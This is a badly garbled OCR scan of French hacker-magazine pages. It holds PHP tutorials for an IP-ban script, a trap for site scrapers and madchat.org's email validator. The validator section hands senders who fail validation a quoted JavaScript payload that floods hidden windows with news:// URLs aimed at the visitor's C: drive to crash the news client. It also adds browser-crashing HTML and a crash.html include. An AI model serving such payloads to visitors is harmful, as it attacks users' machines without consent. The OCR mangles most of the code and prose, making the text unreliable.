// Rajaute dans le flchler, k la fin, Serreur et Vfnfo, solt les 
// Informations de l'erreur et les Informations du vfslteur. 
f wr i te t If p + lerreur , % 1 nf g 3 ; 

//Ferrae le flchler, 
fdose(*fp); 

//SI le mode bail est active... 
1f(ban_«ctive) 

{ 

// alors a jotter un twrtfument, rutourm TRUE s1 VIP> 
// suite 5 1 ' avertl ssanetit p est ban ; FALSE autremetit. 
1f(ban_1p()) 

{ 

//Aff iche le message de ban* 

echo message_hafl; 

//Stoppe 1 "execution du script. 

exit; 

} 
) 



function banjpt) 



//Iff enter = repertoire oil sorrt contenus les logs plus TIP 
I f1cti1«r=rep«rto1re_1og,f .SERVER [ REMOTE JflQR' ],"Jp": 











//Si (fichler cwieatene' a " .tmp " est un flcfrler et qui 11 existe. . . 

1 f ( f s_f i 1 e< $f 1 eh1 er , * . tnip - ) ) 

i 

^ // ...auvn'r Ce fichier en lecture. 

*fp=fopenCSf1 cbler . \tmp" , ' r ' ) - f 

//tavert = a 1* valeur contenue dans le fichier 

//(un nwnbre cor res pendant au nombre divertissements). 

5avert=f readttf p, fi lesizedf Ichi er^, tmp" } ) ; 

//Ferme It fichier. 
felose(ifp); 

//Ajoute urv avertissement. 
lavert+t; 

//SI le nomtore divertissements est superleur au nomfere 

//divertissements toleres*** 

1f(Javert>nb_avert) 

{ 

//alqrs refionmer le fichier $fichier\tmp en Jflchler 

//(transfonne le fichfer d'avertlisanent en ftchier 

// de ban J. 

rename ($f 1 Chi er , " .tmp" , if ichl er) 5 

//La fonction se temrlne et renvois TRUE 

// (spit que 1 'IP est ban). 

return TRUE; 

> 

//SI nun (s1 (fichier concatene 1 & * r tmp " n'exlste pas...] 
}else{ 

//Si an bannlt sans avertissement... 

if(nb_avert=Sl) 

{ 

//ouvre le Vflcbler (le creel. 

$fp = fopen($f1cMer n * 1 w*'); 

//F_cMt dedans 

//■(juste pour U r£fe>ence de dire I? avertissement h 

fwr1te{Jfp p H H ); 

//Feme le f fctiler^ 



B 



— 



IT 




felose(lfp); 

//La fonctlorv se termlne et renvoie TRUE 

//(TIP est bannle), 

return TRUE; 

} 

//$avert=l correspond d son premier avertissement. 

Javert=l; 

} 

//Ouvre le fichier 5-flcriler cortcatene a " .trqp " en made Venture 

// (cr£e le ftchier s'il n'wtste pas, mi §crase le contenj s'11 existe), 

* f p = f open C tf 1 chl er . " . tnv " , V ) ; 

//£crit dans le fichler le nombre d'avertlssements. 

fwr1te($fp h $avert); 

//Ferme le flchler. 

fclose(*fp}; 

//La fonction se termlne et renvoi e FALSE 

// ET IP (Test pas bannie par cet avertlssement). 

return FALSE; 



} 



function isJbanU 

{ 



bannie).. 



//SI le flchler contenj dans le repertoire repertof re_log du riom de 

// 1'ip concaten§e a " .1p " existe... 

If < f SLf11«( repertDi njoq . S_SERVER[ ' REWTE_ADDR' ] . " . 1 p" ) ) 

{ 

//alors la fonction renvoi e TRUE (TIP est bannie K 

return TRUE; 
}el se{ 

//SlTion la fanctlM se terming et renvoi e FALSE (TIP n'est pas 

retiirn FALSE; 



} 
1> 



La prevention reste LE facteur crucial Mr de 6\t script que nous veneris d'ftudier. 

lequel pivote tojte politique de security II Gageons que vous en ferez un excellent 

est facile de prevenir et d 1 analvser les usaqe ! 

attaques potentiellement porteuses a I'ai- Nyx 



i 



Anti-aspirateur 

APRE5 L'ANTl-FLOOD / ANTI-PROXY [THJ 17), TOE HACKADEMY VOUS PROPOSE 
UN ANTI-ASPIRATEUR DE SITE WEB, TOUJOURS EN PHP. EN EFFET, POUR CEUX 
QUI SOUHAITENT ECONOMISER LEUR BANDE PASSANTE, OU EVITER UN MOMS- 
TRUEUX OORE-COLLE, LES ASP1RATIURS DE SITE SONT UN VRAI CAUCHEIY1AR, 
RESPIREZ, PHP EST UL. 



LE PRINCIPE 

Les aspirateurs d e sites web ton ctionnent a peu 
pres tous de la meme fac^n : its explored la 
page d 'at cue i I du site, et visitent tous les liens 
qu'ils peuvent y trouver hormi, pour la plupart, 
les liens vers des sites externes, et ainsi de 
suite, lis en re gist rent aj fur et a mesure les 
pages, images et autres Hchiers, dressant ainsi 
line architecture identique a celle du site visite 
(sauf si celui-ci est dynamique. la copie est telle 
qu'etait te site au moment de la visite). 
Des lore, plusieurs methodes se sont developpees 
afin de stopper ces envahtsseurs de bande pas- 
sante, la plus courante etant le blocage d'lP : un 
script., appele au debut de chaque page, stoppe le 
chargement de la page si I ' IP du visiteu r est recon • 
nue comme etant telle d'un aspirateur, Les diff ex- 
tents scripts anthaspirateurs se demarquent sur 
cette reconnaissance ■ par exempt un script assez 
repandu utilise le rwmbre de pages vues a la minu- 
te pour dltecter une deimnde importante de la 
part d'une seule IP C'est inqenieux, mais compor- 
te inconvenients mageuis ; une grande consomma- 
tion de ressaurces pour un site important, car 
chaque page doit faire appei a une base MySQL 
pour line les IP et ecrire les nouvelles, inefficacites 
contre les aspirateurs qui pnoposent d'imiter le 
comportement d'un visiteur (il y en a, des qens 



wkieux) et, surtout, pour fes site tres visrtes. blo- 
cage injustifie des praxys tres utilises, meme si 
aucun visiteur ne tente d'aspirer le site. 
D'autres se sent bases sur la variable d'enwi- 
ronnement USER-AGENT, qui revele le nom du 
naviqateur, mais cette protection est rarement 
efficace, la plupart des aspirateurs utilisant 
cette meme variable afin de se faire passer 
pc-ur Intrrnrt Explorer a u autre. 
C'est pourquoi je vous propose une approche 
differente ; il s'agit d'un piege a aspirateur, Un 
simple lien dans la page d'accueii vers un script 
qui enreqistre TIP dans un fichier, et un autre 
script, appele au debut de chaque page, qui 
veVifieque I'IPdu visiteur n'est pasenregjstree 
dans !e fichier avant de lui afficher la page, 
sinon le redirige vers un page explicative, Bien 
sur, il faut veiller a plusieurs points : 

• Supprimer le fichier de loo s'il n'a pas ete modi- 
fie depuis plus d'une heure, afin de penaliser le 
nwins possible les visiters authentiques utili- 
sant le meme proxy qu'un aspirateur (notam- 
ment les proxys de FA I tel Noos, qui sont 
quasi-obligatoires pour leurs clients], 

• Rendre le lien invisible, et, dans la mesure du 
possible, non-cliquable pour les visiteurs. 
Ainsi, seuls les aspirateurs verront leurs IP 
en registries et les pages du site interdites. 






Ill 

DE SITE EN PHP 






IM i n nf ■ 



«*t* 



rr«i!l" ~rf. ^^mM J THJ 



hmrii'il 



♦ Eviter de pieger les robots " corrects n , 
nc t amment ceux des moteurs d« recherche. 

AJOUTER LADRESSE IP 

Cette page ajoute I'adresse IP de qutconque !a 
visite dans le fichier de tog (ici log436.log). L'a- 
dresse IP est contenue dans le tableau asso- 
ciate $HT1"P_S.ERVER_VARS (utilise ici de 
preference a $_SERVER car hiors d'une fonc- 
lion) a Tirdex " REMOK_ADDR ". 
La fonction file retoume le fichier de log dans tin 
tableau ($liste) r que lor explore awec injrray a la 
recherche de I 'IP du client Si el le n'y est pas deja, 
on ouvre le fichier en mode ajout pour I'enreoistrer. 
Listing 1: ban.php 
*?php 

HogFlle ■ ■ r Iog436 J 1og"E 
SIP = 

$HHP_SERVER_V ARS[ ■ REM0T£_MJ0R- ] ; 
//lecture du f1 drier 
tlfste = arrayO; 
1f(flle_exl£t£(flogF1le)] 
Jllste = eflleftlogFlle); 



//s1 I'adresse n'y est pas deja, on 
//T ajoute 

lf(Mr_arrayt$IP."Vr, Jllste)) 
IfUfp = tfoperrisiogFlle, •*")){ 
Ires = ftf puts (Jf p, JIP,*W); 
$res = GfcloseUfph 
} 

VERIFIER L'ADRESSE IP 

DeuKieme page de ce script, telle qui sera 
incluse au debut de cheque page. II faut ici veri- 
fier que I'adresse IP du visiteur est enregistree 
dans le fichier Si celle-ci est trouvee, le client 
est rediriqe vers une page d 'explication (ici 
banned r htiril) avec header. Si le fichier de log 
n'a pas ete modifie depuis plus d'une heure, II 
est detruit a raide de la fonction unlink. 

Listing 2: antfaspi.php 

<7php 

llogFne=Hog436.1og H ; 

IIP * 

% HTTP SERVER_VARS["REMOTE_ADOR N ]; 

tllste = array O; 

1fCfilej>*1$ts(*lacMle>){ 

//s1 le fichier date de plus 

//d'lheure OCflff secondes) on le 

//supprtnte 

1fCCtrtktfme<)-ef 1lemt1meCtlogFfIe>> 
>= 3680) 

$res^unl 1 nk($logF1 1 e) ; 

//lecture du fictifer 

JUste -©fUedlogFUe); 






DfU 



\r\R\r 



D 



^r m 
} 




//si radresse est enregitree, on 
//redlrlge vers banned, html 
ff(tnjrfflytMP, # \n*. Sliste)) 

headerf " Locatl on: banned .html " ) ; 
?> 




Dans vos pages 

II faut d'abord finir de mettre le siege en place, 
c'est-a-dire mclure la deuxierfie page (arrtias- 
pi.php> dans chacune des pages du site (sauf la 
page d'accueil). Pour ce fa ire, ajoutez cette 
ligne au debut de diaque fichier au format 
texte (js, html, ess, etc.) : 

<?php IncludeCantlaspi.php"); T> 

Attention : Four que fa fonction headerO du 
script fonrfi&nne, if faut due cette ligne soft 
au tout debut de votre fichier, avant tout 
espace ou autre caractere tie sortie, sirton 
fe header est envoys' au mvigateur et hea- 
der?) retaurnera urte erreur. 
Si vos pages ne sont pas des pages PHP, il faut 
qu'elles le deviennent : donnez leurs I 'extension 
.php et n'oubliez pas de mettre vos liens a jour, 



■ i 



Cela vaut aussi pour les pages de script ou CSS 
dans lesquelles ladeuxieme page est incluse. 
Ensuite, il s'agit d'attirer les aspirateurs dans le 
piege. mais pas les ^is-iteurs- : c'est le rSle du 
lien invisible. Celui-ri doit etre place le plus 
haut possible dan$ le corps de la page, si pos- 
sible apres la balise <bodv>, afin d'etre dans les 
premiers liens visites par I'aspirateur : 
<!-- piege a aspirateurs., ne pas visiter 
la page ba-n.ptip --> 

<a nref="ban,ptip" style="color: black; 
text -dec oration: none; background: 
ffFFFFFF" oncl1ck=-retum 

false ;">test</a> 

Ou black est votre couleur de texte (en hexa ou 
en code couleur), et 8FFFFFF votre couleur de 
fond. Ce lien est done invisible et " non-cliqua- 
ble " pour les visiteurs dont le javascript est 
active grke au one liek= "return false;". Le com- 
mentaire est la pour les curieux qui auraient Pi- 
dee de regarder la source HTML de la page, 

EPARGNER GOOGLE 

Afin d'ewter que les moteurs de recherche ne 
soient eux aussi rediriqes a cbaque page visi- 
tee, il convient de leur indiguer que la page 
ban.php est a eviter. C'est le r&le du fichier, 
roboUxt place a la racine du site, et contenant 
les lignes suivantes : 

User-agent: * 
Disallow: /ban, php 

Ainsi, les robots respectueux ^yiteront ceite 

page et ne seront pas pieges. 
Attention J Pour plus d'effkacite', ¥ouspou- 
vez ne pas utilizer ce fichier, car certains 
aspirateurs de site proposent d*en tenir 
compte, Mais ceia piegera aiors fyatement 
les robots des moteurs de recherche, a¥ec 




[ 



' .-* 



l<n«^ jp»hh Jmiw Vtaaar 



J»»N Jttfto. VtNiaraBi jr[~ri iivur™ gJ : -.ir^ H jh., ji.^4^ jbn* r*^v JuriM 



a patate 



■l--"JIIII 






■^■■r. 1,-hj. <.Tt. ..rt. r.vh. 



i feculent pas comme les autre* 



L™ priMr 

paat-ij** 
i*« pari* 

L*W p*B» 

paaa (ha 




Lb. priri. -.Km w**t U» [■**♦ law fttMi Uhi fata. Lb* 
pHri* Jn paai Lbi priri* Um :i!ti Lthj pM* 

1 V+ priria Urn paw* L*» paa*1lra taw. U™ paa» Lb* 

LU# priri* Jna [iHi Lb. priri*.mf ;*«■< l*n pa*, L** 

MA 

Un. priri* Lb* pajMi Ura part* 

Lb* parii On priah Lin. pririri>* priri* Ua fatal L*a 

■BBi 

Lb* pari* gn* pattta utit partrtj** «bim Um paai Lb* 

U"» part* Ura fwai Uht pant 

Lb* pari, m™ F ri*t uht pririajra priax Ura puar Lb* 

pa a* 



ft/ pire te risque de vous fatre degrinqafer 
dans tes resultats. Si fe cl$$$em$ftt yqus 
import? peu, ne mettez pas ce Uchier. 

LA PAGE ^EXPLICATION 

II s'agit de la page vers laquelte sera redirigee 
toute requeie d r un client enregistre par ban.ptip. 
Dans not re exempt c'est banned html. Elle doit 
done contenir un averti&sement du genre " il 
semblerait que vous ayez tente d'aspirer le site... 
". ainsi qu'une explication pour les maichanceux 
qui seraient bloques parce qu'ils passent par le 
meroe proxy qu'un aspirateur. Je laisse le conte- 
nu detaille a votre creativity. 

PRECAUTIONS SUPtEMENTAIRES 

Pour les plus paranoTaques d'entre vous, void 
quelques conseils afin de rendre plus difficile 



I 






une contreattaque eventuelle des editeurs 
d'aspirateurs : changer les noms des f khiers 
php, de la page duplication et du fichier de 
log, airsi que le texte du lien (utilisez run de* 
caracteres du texte content] dans votre page). 
Et pour les ricieux, sachez que vous pouvez taisser 
votre imagination vous dieter d'autres pieges pour 
la paae banphp r par exemple rinclusiort d'une page 
exteme (situee sur un autre serveur) avec plein de 
liens relatifs, ou d'autres choses du meme oout 

Teste et desapprouve par HTTrack. WebCopier, 
Teleport Pro. Asp web. Memo Web 4 r Wysigot 
fc'est-a-dire tous cegx que jai eu le temps de 
tester : p ) 

EKS 
Merd a Cfad, pour m'avoir donni rartide et fe 
gout du travail en urgenee 




Le mentat validator 
Un secret de Madchat, 

NOTE DE LA REDACTION : NOUS AVONS EU OU MAL A CONVA1NCRE TOBOZO 
D'ECRIRE UN ARTICLE QUI EXPLIQUERATT LES METHODES DE VALIDATION AVANCEES 
0" E-MAILS MISES EN PUCE SUR MADCHAT.ORG. IL A ACCEFTE, NOUS AVONS 
SABRE LE CHAMPAGNE, IL A VIDE LA BOUTEILLE, ET NOUS A ECRfTCET ARTICLE 
EXCLUSIF. BONNE LECTURE. 



<7php 



D'habitude. quand on torn be sur des docs qui 
bavardent autour de php, ils sont accompaqnes 
de quelques ex traits de code. 

<ti»de=ret*el > 

Oomme si les propos techniques anient besain d'etre 
illustres par du code.. Mais c'est totalement inverse ! 

Les descriptions techniques SON! ('illustration 
du code, et permettent d'ailieurs de dormer un 
peu de vivant a d es I ig n es d e code qui a u raient 
I 'air cadeve'r Iques sans une petite point e de 
laisser-afler. d'humour (bon on mauvais) et de 
cacariuetesgrillees. En plus, un article colon se 
ga a vacriement plus de queule ; ■ ) 
</mode> 

Le not re est special car il est eerit h I'lnte'rleur 
ducode qu'il est cense p emblement expliquer. 

et sous la forme de commentaires php (normal, 
te code a commenter est du php). 




I 



Le code dent il est question ici a fait I'objlet de 
diverse* attaques ruimames et rabctisees, sans 
qu'aucune d'entre el les n'ait reellement perce 
(du moms le croit-on ;-}. 

Ce qui en fait un bon candidal pour un article 
lisible par les newbies autant que par les war- 
riorz, c'est sa simplicity et sa natcriete. 
" Simplicity " car develop pe par Leonard et 
ToboZo (voire serviteur) a leurs debuts en PHP, 




ORG REVELE PAR TOBOZO 



et " notonete " car utilise par le repository de 

madcfiat.org centime passerelle de communica- 

ti on entre le monde de la surface et la spam I is t 

■a I a quelle les membres de requipe sont 

inscrits. 

Ce script a fait rob jet de plusieurs refontes. 

mais le squelette est toujours rest£ le meme. 

II s'agit du mentat Validates de madcnat.org : 
http://madchat.drq/%7cmail%7c.phpS 

11 MAAAAA MENTAT 
VAUDATEUR KEZAKO ? " 

Resume: 

mentat = practfeien de la discipline loqlque 
tleilaxu 

validateur = celul qui vallde 

Definition : Cree par Franc k Herbert pour sa 
saga "Dune", le mentat est un humain aux 

c apatites d'ordinateur, enframe selmi la dis- 
cipline du Bene-Tleilax a developper ses 

aptitudes a refiechir comme une machine, 

L' existence d6S mentat 5 satisfait I'lnterdiction 
de creer une machine "a I 1 image de rhomme". 
Les machines pensantes ayant ete eliminees de 
I'univers, la discipline des mentats a ete dew 
loppee en vue d'en compenser le manque. 

Les mentats sont done des humains entra tries a 



developper leurs perceptions eognitives et ana- 
lytiques en vue de pallier ce manque. 

En pratique (et pour revenir au sujet de cet arti- 
cle), le mentat validateur de made hat est un 
robot qui va uttliser tous Lei mciyens techniques 
en son pouvoir pour vallder un envoi de courier 
depuis un frontend HTTP vers une mailing lists, 
tout en utilisant les sources de premonitions qui 
sont en son pouvoir (en ('absence d 1 epice). 
En passant le script aux rayons X. on s'apercoit 
qu'il tontient les elements suivants : 

* f onnulaire de saisie htm I (champs expediteur 
et message), 

* systeme de validation des donnees utilisateur, 

* systeme de verification d'adressesexpediteurs 
par connexion SMTP, 

* systeme de tracking d r infos utilisateur 

Mais comme tout ne se resume pas a de sim- 
ples f ondionnalites let's start the comments.. 



i 



function dojnothfngO { 
// really nothing ... 

> 

/* 

Le mentat commence par declarer quelques varia- 
bles. Meme si e'est optionne-l en PHP, mieux vaut 



[DfLilD 



trvrur 







rrr 

s f en deleter des les premieres lignes, car non 
seulement c,a annonce Id cauleur {pas cell? du 
eoioriseur syntaxique), mais surtout ca evite de 
voir ces variables eventuellemcnt ecrasees par 
un petit malm qui s'amuserait a jouer avee les 
parametres dans la barn d'adresses du browser. 
Tout envoi d 'email ayant force-merit undestina- 
taire, nous declarons done ce dernier dans les 
premieres liqnes du code : 



SlaSpamLlste - "laSpaniLlsteaitadcriat M ; 



Tant qu'a faire, le mentat en profits pour decla- 
rer quefques variables, bistoire de rendre le for- 
mula ire personnali sable pour d r autres usages : 
*/ 

Semails "exped iteur^ob ligatoi re.xxx"; 
Stent = "Mettez iei vos commentaires, critique, 
insultes, puis cliquez sur le bout on gauche de 
votre mulot que vousaurez au prealable poi ri- 
te sur le bouton submit Apres quoi tout pent 
arriver...": 



La valour de cette variable va etre passee dins 
le formulate afin do faire reagir le script lors. 
de la soumfssion des valeurs via le bouton sub- 
mit 

V 

1 submit Label = "mall to: repository 

adtoins"'; 



/* 

Premier test : le formulaire a-HI £te soumis ? 

Note : L'usage de la superglobal? S^POST appa- 



rait tomme indispensable pour urt script qui se 
veut "portable" sur la plupart des serveurs 
{notamment ceux dontle parametre do pbp.im 
"registers To bals rr est sur JJ 0ff M ; voir : 
bttp://fr.php,net/reQister_globais pour pfus 
d' infos sur la question), 
*/ 

if(*_POST["submttform , ]= ,, i™il to: 
repository add is") { 

/* 
Test positif : des donnees ont bien ete 
envoyees, il va falloir les filtrer et les recuperet 
En premier lieu, le mentat reqarde si un email a 
bien etc" fourni, histoid de ne pas relayer les 
e-mails a nonymes. 

if ($_P0ST['fromenaiV] = lena11} { 

/• 
L'utilisateur n'a pas fourni d'email, le men- 
tat affiche un message d'info et met fin au 
script. 
*/ 

print "<htmlxbodyxpre>" ; 
print str_repeat{"Le Nentat a dit: 
enter your eMall, cretin des dunesNn", 

print V/booyx/html^; 
exit? 
} else if lire s sage = stext) { 

f* 
L'utilisateur a fourni un email mais pasde 
message, le mentat affiche un message d'info 
et met fin a u script. 
V 

print "<htinlxbodyxpre>"; 
print str_repeaU"Le Hentat a dit: 
tu n'as Men eertt, y en a assez des 
mails videsl\n" f 100]; 



I 



pri nt "</bDdyx/htnil >" ; 

exit; 
) else { 

/* 
Les premiers tests sent toncluants, le mentat 
peut done commencer a trailer les valeurs 
emroyeei vis le forrnulaire. Pour ceia, nous uti- 
lisons une class trcuvee sur phpCla5.se5.org 
(merci a Manuel Lemos), 
II s'agit de la class email validation dont le code 
est consumable a I'adresse suivante : 
www r phpclaisesjorg/br»ws«/package/11html 

Cette class sert a determiner si une adresse e-mail 
est wlide ou pas. Elle effedue plusieurs tests : 

• Simple validation sur le format de I'adresse 
e-mail (expressions requires). 

• Validation de 1'hote aff i I ie a I 'adresse eomme 
un domaine d 1 ethanqe valide, 




• Validation de I'adresse par connexion auser- 
veurdecourrier pour determiner si I'adresse 
donnee peut reellement recevoir du courier. 

• Integration Windows et autres platefwrnes dont la 

(onction GetMKRR n r est pas active,, avec la class 
"DNS reSDlver" fbumie par Moriyoshi Koizumi. 
Wtp^,^rtvW.phpcla55e5*rV'bfwse^pa:ka(i6/569.rilml 

Question: Pourquoi utiliser *e code de quel- 
qu'un d 'autre qwand on pent massacrer son 
script soimeme ? 

• qain de temps {selon la disponjbi(rte). 

• qain de fiabilite (selon la source du script), 

• aanoeampetaces Csekri lenonnbedereteduresj, 

• gain de place dans cet article {les portions de 
code sont rempiacees parties references s - J 

• qain de qualite de code (selon I'activite cotn- 
munautaire autour du script), 

Voila, en gros, a quoi ressemble la class : 



class emal l_val 1 dat1 on_cl ass { 

var Semail_regulflr_express1on = ""([- J#\stt , *+./fl-9s?A-ZVft-i<l}]> ,| «[- 
l#\W^/fl-9^A-ZVa-z{l}}«-\\ J+U-zA-Z]{2,§}\$* \ 

\ I ■ m J 

FuilCtl on Va M dat e£ma i 1 Add r es s ( Sena i 1 ) { 

return ( er&g i (Sthl s->ema 1l_regular_expressi Dn , lemaf 1 ) l =0 ) ; 

} 
(...) 

Function VaHdateDiiai 1 Host (Semail .Ghosts) { 

(...) 

> 

Function VaHdateEmailapxtJemail ) { 

L.J 

} 

}; //end class declaration 

<parentnese> 
Est a noter la presence de I 'expression reguliere suivante : 



M[-!^m^./B-^7A-ZVa-i{l}]>^[ ^m^/0-^A-r_a-i{|}}*\\ + >H:a-zA-i]{2 f 67\t 







qui a pour but de verifier si une adresse email 
est semantiquement corrects. Referez-yous a 
I'articiBsur l&s expressions requlieres present 
dans ce meme numero pour comprendre le 
foncticnnement de cette derniere. 
Uneadres.se e-mail est composee de plusieurs 
elements done chacun doit satisfaire des 
contraintes : 

<JTILISATEUR> G <0QHMNE> . <TU> 
UTILISATEUR : DOIT etre compose de caracteres 

alphanumeriques, PEUT contenir certains 
caracteres specialist, HE DEVRAIT PAS contenir 
de caracteres appartenant 

kur ■ format nun ISO. 

DOMAlHE : Les contraintes sont les memes. 
tld : DOIT etre compose de caracteres alpha- 
bet iques. DOIT comporter au moins deux lett- 
res r NE DOIT PAS comporter plus de si* lettres. 

Examinons en partie ('expression requliere, ici 
on retrouve les caracteres autoris& : 

B-9=*?A-ZVa-z{l} ->toutlalptiabet 
tous lesenlffres. et quelques caracteres speciaux. 



plete r mais le ratio d'arjresses email echappant 
a ces regies est si mince que ca ne vaut pas le 

coup de risquer un surmenage an niveau res- 
sources rien que pour fa ire plaisir a des pro- 
prietaires d'adresses farfelues qui, d'ailleurs, 
doivent deja etre au courant qu'elles ne fonc- 
tionnent pas partout. 

Ce choix (arbitral re) n'est guere compati- 
ble awe les nouveaux standards internet 
imposes par I'lCANN. mais permet de 
conserver on certain contort quant a I'utili- 
sation de convert tsseurs de formats tels 
que I'UTFB ou I'ISQ (par exemple : le 
cynllique, i'tiebreu, etc.). 

</parentbe5e> 

Le mentat commencera done par Touverture 
d'une instance de I'objet email_ Validation, en 
lui fournissant les valeurs net essa ires a son uti- 
lisation : 
*/ 

(val1dator=new 
emai l_vaT f dati on_cl ass- 



Le pattern est utilise" deux fois car les contrain- 
tes sont les memes pour le nom d'utilisateur 
que pour le nom de domaine. 

En revanche, le TLD (Top Level Domain : compren- 
dre ' '.com", JJ .orq ". JJ .info" r etc) a plus de limites : 

[a-iA-Z]{2,6> 

Le pattern desiqne toute suite alphabetize 
composee d'au moins deux caracteres et de six 
caracteres au plus, 

Bien sur, cette expression est loin d'etre cam- 



/* 
Le mentat met 10 secondes d'attente pour le 
serveur distant, au-deli, II laisse tomber sinon 
e'est le script actuel qui risque de fairer en 
cours de route, et si e'est le cas r bye bye li 
debug... 

*/ 

I va 1 f dator ->t1 meout=U9 ; 



Pour effectuer la verification, il faut simuler 
renvoi d'un email pour cela II faut done fournir 
un nam d'utilisateur le temps de cette opn ra- 
tion. 



I 





ival idatar->l DcaluseT^val idator' ; 

•validator* 

>1 oca 1 host^raadchat , org™ j 

f* 

Pas besoin d'activer le debug, sauf en mode 

deYeioppement,,, 
*/ 

Wa 1 1 dato r - >debug=0 j 
Sva1 idator'^titml.debug^; 



Si le mental veut fdiredani la discrimination il 
peut exclure les adresses dont le serveur 
repond mal au* demandes de MX {riotamment 
les serveurs SMTPfonctionnant sur Windows). 

V 

* val 1 d a to r - >excl u de_addnes s= M cd ra - 
nail.com"; 

/* 
C& simple appet va c^temwer la vatttt de Fadresse 

ematrtduserwirhosLSirijnedKd^v«ilKaticfB 
ecloje,alof5lasil)ijatHxiestloucfieetilfeutsevir ;-) 
*/ 

1 f ( ( Sresul t*tvfll 1dator->Val f da- 

teEmailflaxtSfromemaiU)] { 



Visihlemenit, la validation s'est bien deroulee, 
le mentat va pouvoir comment er a construire 
le message d' informations qui sera ajout4 au 
contenudumail. 
*/ 

$messfl<je.="\n\nNote dj men tat 
valldateur :\n"; 

lmes$age.=*L"adre55e [".htmlen- 
t1 t1e&t*f rocnetnail ) . "] est une adresse 
Mlres-ult ? nn : "!«*). "valldata"; 
} else { 
f* 

Ouelque chose a foire, soit I'adresse e- 
mail n'est pas semantiquement corrects, 
soit le serveur de I'expediteur refuse les 
connexions courrier, soit il n'existe pas. 
mats dans toys les eas, le mentat peut 
assimiler (a h un pourriel, une tentative 
de spoofing ou encore une tentative de- 
jection, et sevir en envovant un messaqe 
bidon qui. si possible, fera planter le 
client (histoire de le dissuader d'une 
eventuelle surconsommation de connecti- 
vltes). 

Les choix sont multiples, le mentat peut utiliser 
le javascript pour apprendre a I'eventuel tri- 
cheur comment se servir de son client nntp et 
pourquoi c'est un meilleurvecteur de commu- 
nication pour les sujets qu'il a Pair d'aimer 
a&order : 
V 

1> 

<html> 

<headxt1tlex? eclw hrtailentl- 
ties(Sf romEfiiail ) 1> est une adresse 
Invalids : HTF!</t1tle=s/head> 

SCRIPT LANGUAGE - "Java Script "> 



1 



D 




// [ Extracted from Hackpff2l 

// [see http://www.google.com/search7iphackoff2J. > ] 

// Ce javascript va rediriger le newgroup reader vers le lecteur C de la 

// victlme et ajouter des grojpes dans le client news 

// jusqj'a ce que ce1ui-ci sature et pi ante, 

//Si le processus n'est pas interrarepij par l'utilisateur, allez savotr 

// ce qui peut arriver... 
var cour»t=fl 
function playO { 

comp=count+l 
remote = window, open C", "remotewin", "width=0 f hefght=0 h toolbars, 
locatioiTFno, directories 3 ™, menubar^io, res1zable=no 3 scroll bars=no, statussno">; 

remote . 1 ocation. href = "news : //" + count + coup +"hacked:\\c:fM,gcw.qfftw" + court; 

if (remote. opener — null) remote. opener = window ; 

remote. opener. name - '"opener"; 
typeO 
} 



function type( } { 
1f(count<=comp) { 

count++ 

setTlmeoutCtypeOMaeB) 
} else { 

pi ay I) 
} 

} 

//--> 

</SCRIPT> 

<body onload="pla 1 yt)''> 

<F 

/+ 

Le Menial peut egalement pourrir la memoire 

ci ra phi que du client en le noyant dans un amas 
informe de liqnes horizontals impossibles a 
afficher autrement que sur un eeran virtue! 
de passant evidemmenl une taille et un nomh- 
re qui soient raiscnnables. 



I 



*/ 

echo str_repeatC"\n<br^hr 
width=500000>\n\ 10000); 

t* 
line alternative plus vandaliste consist e a 
collectionner un best-of des portions de 
code HTHL/JS tristement connues pour 



— 



fairs planter toutes sortes de naviqateurs. 
Les bases bugzilla et les listes des bugtrag 
en somt remplis. 

*/ 

41 ncludef crash, html 1 ); 



Et done d'interrompre je script car a ce niveau 
la, aucune contrainte technique n'«t satisfaite 
pour pe rmett re I e renvo i des infos. 

V 
exit; 

} 



Les tests d'integrite ayant ete effectues avK succes, 
to mental pect passer a la suite des choses, a savoir ; 

a) aff ichage d'informat ions siginalant la bonne 
validation des dennees du formula ire, 

b) recuperation des informations concernant 
Tutilisateur, 

c) constructioni du corps du message, 

d) envoi du message (et gestion de Techec a I'enuoi), 






r R- fc 

If Lr . If 



e) aff ichage d 1 informations signal ant le hon 
envoi de 1'email. 

*/ 
/* 
a) aff ichage d' informations signalant la bonne 
validation des darmees du formulaire 
V 
echo ■ ^html>*eadxtitle>popE infos 
recues & sur S</t1tlex/headxbody>"- 



/* 



b) recuperation des informations concernant 
I'utilisateur 

c) construction du corps du message 

Note : L'usane de I'operateur de concate- 
nation "." permet de diminuer I 1 usage des 
res&ources de manlere tres substancielle, 
et n'a aucun autre interet dans ce script 
que celui d 1 a border la notion d'economie 
de ressources. 

Le mentat peut profiter de la construe- 
tion du message pour y inserer une 
citation. 



t mess age. ="Expfel1teur z i_5ERV£fi[REH0TfJDOR] (t_SERVER[fi£MOTE_m»ST]) 1 port 
distant iJEftV£R[REMOTE_PORT]\n" ii infos sur Tip 

."Connects via *_SERYER[HTTP_Y I A]\n forwards pour $_SEFtVEft[HTTP_X_FOR- 
WARDED_FQR] r // infos proxy (si existant) 

.6gethostbyaddr(S_SERVERfmTPJ(_F0fiWARDED_F0R H ]),->\n'' // infos sur 
le host gui forwarde (si proxy detected 

. "brouteur JHTTOSEILAGEHT {*HTTF>_ACCEPT_UUJOJAGE» \n" // Infos n§*1- 
gateur 

.©file_get_contents{"/citatian.php") // citation au ha sard au for- 
mat txt fa" faire soi meme) 

.html enti t1e&( stMpsI ashes tSmess age)) ; 



I 



![dPJ 







■k' ^■flR'lh 



rrr 




Le menlat construit I? sujet en y inserant I'u- 

ser_agent, car c r est ('element le plus significa- 
tif pour dresser le prcifil rapided'un utilisateur 
(linux/m at/win et msie/moz/opera, etc.) en jn 
simple coup d'reii. 

La fonctlon trimO sert eventuellement a sup- 
primer un Vi ou \r qui serait utilisable dans le 
cadre d'une injection! des headers de I'e-mail 
(voir I 'articled u froa: 

http : //tfww . php secure . i nf o/vZ/a rt1 cl e/Ma 
II Headers Inject . php). 
*/ 

i subject. -" 
" . t r i i( $_SERVERf * KTTP_USER_AfiENT ' ] U 



Enfin. le mental peut tenter d'envoyer le rriessage a 
la mailing liste qui se Fera un plaisfr de le relayer a 
tous ses memlhres pour une lecture optknale. Tou- 
tes les dwinees ont ete traitees etfaj validees, et 
peuvent done §t re passees sans trop de sewcis a la 
foriction mailO: le mental en profite pour rendre la 
tache plus facile a des reponses eventuellesenfor- 
geant le champ ' ' From" avec I'adresse de I'exp&f- 



teur declaree dans lefbrmulaire r ca negarantit pas 
quece soil la meme personne que telle qui soumet 
lefonnulaire, mais permet degagner quelquespre- 
cieuses seconder pour les amateurs de I'nypertas- 
king clusteurize de la cervelle. 

